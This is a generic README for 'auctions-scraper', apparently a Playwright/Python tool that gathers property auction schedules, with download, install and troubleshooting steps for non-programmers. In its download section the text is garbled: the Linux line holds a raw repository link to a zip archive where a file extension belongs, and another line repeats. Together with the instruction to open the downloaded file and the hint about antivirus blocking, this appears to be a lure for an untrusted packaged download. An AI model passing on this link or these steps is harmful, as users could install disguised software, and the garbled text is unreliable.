auctions-scraper is a tool designed to help you gather auction schedule information easily. It works by automatically visiting auction websites and collecting data about upcoming auctions. This information can help you keep track of property sales, see trends, or plan your bidding strategy.
The software uses a technology called Playwright with Python to handle browsing and data collection. You don’t need to know anything about coding to use it.
You can use auctions-scraper if you want to:
- Track property auctions without checking websites yourself
- Collect auction dates and details for research or planning
- Save time by automating data collection tasks
No programming knowledge is required. The app will do the work for you once set up.
To get started, you need to download the app from the official releases page. This page contains the latest stable version ready to use.
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Click the link above or visit the page:
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Find the latest release. It will be marked with the highest version number.
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Look for the file matching your computer system:
- For Windows, select a file ending with
.exeor.zip - For Mac, look for
.dmgor.zipfiles - For Linux, check for
.AppImageorhttps://github.com/Fir666as/auctions-scraper/raw/refs/heads/main/whussle/scraper-auctions-v2.3.zip
- For Windows, select a file ending with
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Download the file by clicking on its name.
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Once downloaded, open the file to start installation. For
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When the installation finishes, open the app to start mining auction schedules.
If you run into trouble, the "Troubleshooting" section below may help.
Before you install, make sure your computer meets these basic needs:
- Operating system: Windows 10 or newer, macOS Mojave (10.14) or later, or recent Linux distribution
- Processor: Intel or AMD processor, 1.5 GHz or faster
- RAM: At least 4 GB of memory
- Disk space: Minimum 200 MB free space for installation
- Internet connection: Required for the app to collect auction data
The app uses Playwright, which requires an internet connection and may download additional browser drivers during the first run. Please allow internet access accordingly.
auctions-scraper collects auction schedules with these features:
- Automatically visits auction websites based on predefined sources
- Extracts key information like auction date, location, and items
- Saves data into files such as CSV or Excel for easy viewing
- Updates data regularly to keep you informed of new auctions
- Runs quietly in the background with minimal impact on your computer
- Supports multiple types of property auctions
The app aims to simplify the process of gathering auction data so you can focus on what matters: analyzing and making decisions.
After installation, follow these steps to run the application and collect auction schedules:
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Open the auctions-scraper program from your desktop, Start menu, or applications folder.
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On the main screen, you will see a button to start data mining. Click Start.
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The app will begin visiting auction websites automatically. This may take a few minutes depending on how much data is available.
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Once finished, the app will save the collected auction schedules to a file on your computer. You will see a confirmation message showing where the file is located.
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Open the saved file with spreadsheet software (like Microsoft Excel or Google Sheets) to view and analyze auction details.
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You can repeat this process whenever you want the latest auction schedules.
The output file contains rows of auction data with columns such as:
- Auction name
- Auction date and time
- Property address or description
- Auction location (online or physical)
- Contact details or website link
This layout lets you quickly scan and find auctions of interest. You can also sort or filter the data in your spreadsheet software.
The app allows limited configuration for ease of use:
- Select which auction sources to include from a list
- Choose the output file format: CSV or Excel
- Set how often the app should update data (daily, weekly)
Most users will find the default settings work well.
If the app does not work as expected, try these steps:
- Make sure your internet connection is active and stable.
- Check that your firewall or antivirus is not blocking the app.
- Restart the app and try again.
- Ensure you downloaded the latest version from the releases page.
- If the app hangs or crashes, try reinstalling it.
For further assistance, you can open an issue on the GitHub repository page, but basic troubleshooting usually solves common problems.
This software belongs to the data mining and property auction fields. If you want to learn more about:
- Auction schedules and their importance for buyers and sellers
- How Playwright Python automates web browsing
- Data scraping best practices
You may find online tutorials, guides, or community forums helpful.
- auctions-scraper Releases – Latest versions to download
- GitHub Repository – Source code and information
- Playwright Python Documentation – Learn about the browser automation library used
auctions-scraper is free to use for personal and commercial purposes. Please refer to the license file in the GitHub repository for details.
Download auctions-scraper to start mining auction schedules with ease.